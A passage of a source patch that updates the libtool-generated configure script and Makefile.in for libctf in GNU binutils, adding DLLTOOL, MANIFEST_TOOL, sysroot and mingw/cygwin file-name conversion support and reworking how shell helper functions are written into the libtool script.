+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
++nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
++lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
+ objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
+ MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
+ need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
++MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
+ DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
+ NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
+ LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
+@@ -15071,12 +15743,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+ hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
+ include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
++postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
+ file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
+ variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
+ need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
+@@ -15131,8 +15803,13 @@ reload_flag \
+ OBJDUMP \
+ deplibs_check_method \
+ file_magic_cmd \
++file_magic_glob \
++want_nocaseglob \
++DLLTOOL \
++sharedlib_from_linklib_cmd \
+ AR \
+ AR_FLAGS \
++archiver_list_spec \
+ STRIP \
+ RANLIB \
+ CC \
+@@ -15142,12 +15819,14 @@ lt_cv_sys_global_symbol_pipe \
+ lt_cv_sys_global_symbol_to_cdecl \
+ lt_cv_sys_global_symbol_to_c_name_address \
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
++nm_file_list_spec \
+ lt_prog_compiler_no_builtin_flag \
+-lt_prog_compiler_wl \
+ lt_prog_compiler_pic \
++lt_prog_compiler_wl \
+ lt_prog_compiler_static \
+ lt_cv_prog_compiler_c_o \
+ need_locks \
++MANIFEST_TOOL \
+ DSYMUTIL \
+ NMEDIT \
+ LIPO \
+@@ -15163,7 +15842,6 @@ no_undefined_flag \
+ hardcode_libdir_flag_spec \
+ hardcode_libdir_flag_spec_ld \
+ hardcode_libdir_separator \
+-fix_srcfile_path \
+ exclude_expsyms \
+ include_expsyms \
+ file_list_spec \
+@@ -15199,6 +15877,7 @@ module_cmds \
+ module_expsym_cmds \
+ export_symbols_cmds \
+ prelink_cmds \
++postlink_cmds \
+ postinstall_cmds \
+ postuninstall_cmds \
+ finish_cmds \
+@@ -15897,7 +16576,8 @@ esac ;;
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -16000,19 +16680,42 @@ SP2NL=$lt_lt_SP2NL
+ # turn newlines into spaces.
+ NL2SP=$lt_lt_NL2SP
+
++# convert \$build file names to \$host format.
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++
++# convert \$build files to toolchain format.
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++
+ # An object symbol dumper.
+ OBJDUMP=$lt_OBJDUMP
+
+ # Method to check whether dependent libraries are shared objects.
+ deplibs_check_method=$lt_deplibs_check_method
+
+-# Command to use when deplibs_check_method == "file_magic".
++# Command to use when deplibs_check_method = "file_magic".
+ file_magic_cmd=$lt_file_magic_cmd
+
++# How to find potential files when deplibs_check_method = "file_magic".
++file_magic_glob=$lt_file_magic_glob
++
++# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
++want_nocaseglob=$lt_want_nocaseglob
++
++# DLL creation program.
++DLLTOOL=$lt_DLLTOOL
++
++# Command to associate shared and link libraries.
++sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
++
+ # The archiver.
+ AR=$lt_AR
++
++# Flags to create an archive.
+ AR_FLAGS=$lt_AR_FLAGS
+
++# How to feed a file listing to the archiver.
++archiver_list_spec=$lt_archiver_list_spec
++
+ # A symbol stripping program.
+ STRIP=$lt_STRIP
+
+@@ -16042,6 +16745,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+ # Transform the output of nm in a C name address pair when lib prefix is needed.
+ global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
+
++# Specify filename containing input files for \$NM.
++nm_file_list_spec=$lt_nm_file_list_spec
++
++# The root where to search for dependent libraries,and in which our libraries should be installed.
++lt_sysroot=$lt_sysroot
++
+ # The name of the directory that contains temporary libtool files.
+ objdir=$objdir
+
+@@ -16051,6 +16760,9 @@ MAGIC_CMD=$MAGIC_CMD
+ # Must we lock files when doing compilation?
+ need_locks=$lt_need_locks
+
++# Manifest tool.
++MANIFEST_TOOL=$lt_MANIFEST_TOOL
++
+ # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
+ DSYMUTIL=$lt_DSYMUTIL
+
+@@ -16165,12 +16877,12 @@ with_gcc=$GCC
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static
+
+@@ -16257,9 +16969,6 @@ inherit_rpath=$inherit_rpath
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols
+
+@@ -16275,6 +16984,9 @@ include_expsyms=$lt_include_expsyms
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec
+
+@@ -16307,210 +17019,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $* ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
+-
+-_LT_EOF
+- ;;
+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
+-
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
+-
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[^=]*=//'
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$@"`
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
+-
+-_LT_EOF
+-esac
+-
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1+=\$2"
+-}
+-_LT_EOF
+- ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1=\$$1\$2"
+-}
+-
+-_LT_EOF
+- ;;
+- esac
+-
+-
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
++
++ if test x"$xsi_shell" = xyes; then
++ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
++func_dirname ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_basename ()$/,/^} # func_basename /c\
++func_basename ()\
++{\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
++func_dirname_and_basename ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
++func_stripname ()\
++{\
++\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
++\ # positional parameters, so assign one to ordinary parameter first.\
++\ func_stripname_result=${3}\
++\ func_stripname_result=${func_stripname_result#"${1}"}\
++\ func_stripname_result=${func_stripname_result%"${2}"}\
++} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
++func_split_long_opt ()\
++{\
++\ func_split_long_opt_name=${1%%=*}\
++\ func_split_long_opt_arg=${1#*=}\
++} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
++func_split_short_opt ()\
++{\
++\ func_split_short_opt_arg=${1#??}\
++\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
++} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
++func_lo2o ()\
++{\
++\ case ${1} in\
++\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
++\ *) func_lo2o_result=${1} ;;\
++\ esac\
++} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_xform ()$/,/^} # func_xform /c\
++func_xform ()\
++{\
++ func_xform_result=${1%.*}.lo\
++} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_arith ()$/,/^} # func_arith /c\
++func_arith ()\
++{\
++ func_arith_result=$(( $* ))\
++} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_len ()$/,/^} # func_len /c\
++func_len ()\
++{\
++ func_len_result=${#1}\
++} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++fi
++
++if test x"$lt_shell_append" = xyes; then
++ sed -e '/^func_append ()$/,/^} # func_append /c\
++func_append ()\
++{\
++ eval "${1}+=\\${2}"\
++} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
++func_append_quoted ()\
++{\
++\ func_quote_for_eval "${2}"\
++\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
++} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
++
++if test x"$_lt_function_replace_fail" = x":"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
++$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
++fi
++
++
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+
+diff --git a/libctf/Makefile.in b/libctf/Makefile.in
+index 1cdf105a323..b69d6472e86 100644
+--- a/libctf/Makefile.in
++++ b/libctf/Makefile.in
+@@ -442,6 +442,7 @@ CYGPATH_W = @CYGPATH_W@
+ DATADIRNAME = @DATADIRNAME@
+ DEFS = @DEFS@
+ DEPDIR = @DEPDIR@
++DLLTOOL = @DLLTOOL@
+ DSYMUTIL = @DSYMUTIL@
+ DUMPBIN = @DUMPBIN@
+ ECHO_C = @ECHO_C@
+@@ -481,6 +482,7 @@ LTLIBINTL = @LTLIBINTL@
+ LTLIBOBJS = @LTLIBOBJS@
+ MAINT = @MAINT@
+ MAKEINFO = @MAKEINFO@
++MANIFEST_TOOL = @MANIFEST_TOOL@
+ MKDIR_P = @MKDIR_P@
+ MKINSTALLDIRS = @MKINSTALLDIRS@
+ MSGFMT = @MSGFMT@
+diff --git a/libctf/configure b/libctf/configure
+index 3701bd8e796..9e36ae7c51c 100755
+--- a/libctf/configure
++++ b/libctf/configure
+@@ -669,6 +669,8 @@ OTOOL
+ LIPO
+ NMEDIT
+ DSYMUTIL
++MANIFEST_TOOL
++DLLTOOL
+ OBJDUMP
+ LN_S
+ NM
+@@ -814,6 +816,7 @@ enable_shared
+ enable_static
+ with_pic
+ enable_fast_install
++with_libtool_sysroot
+ enable_libtool_lock
+ enable_largefile
+ enable_werror_always
+@@ -1486,6 +1489,8 @@ Optional Packages:
+ --with-pic try to use only PIC/non-PIC objects [default=use
+ both]
+ --with-gnu-ld assume the C compiler uses GNU ld [default=no]
++ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).
+ --with-system-zlib use installed libz
+
+ Some influential environment variables:
+@@ -7501,8 +7506,8 @@ esac
+
+
+
+-macro_version='2.2.7a'
+-macro_revision='1.3134'
++macro_version='2.4'
++macro_revision='1.3293'
+
+
+
+@@ -7542,7 +7547,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
+ $as_echo_n "checking how to print strings... " >&6; }
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -8235,8 +8240,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -8285,6 +8290,80 @@ esac
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
++$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
++if ${lt_cv_to_host_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
++ ;;
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
++ ;;
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++
++fi
++
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
++$as_echo "$lt_cv_to_host_file_cmd" >&6; }
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
++$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
++if ${lt_cv_to_tool_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ #assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
++
++fi
++
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
++$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
++
++
++
++
++
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
+ $as_echo_n "checking for $LD option to reload object files... " >&6; }
+ if ${lt_cv_ld_reload_flag+:} false; then :
+@@ -8301,6 +8380,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -8469,7 +8553,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -8628,6 +8713,21 @@ esac
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
+ $as_echo "$lt_cv_deplibs_check_method" >&6; }
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -8643,6 +8743,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+
+
++
++
++
++
++
++
++
++
++
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
++set dummy ${ac_tool_prefix}dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$DLLTOOL"; then
++ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
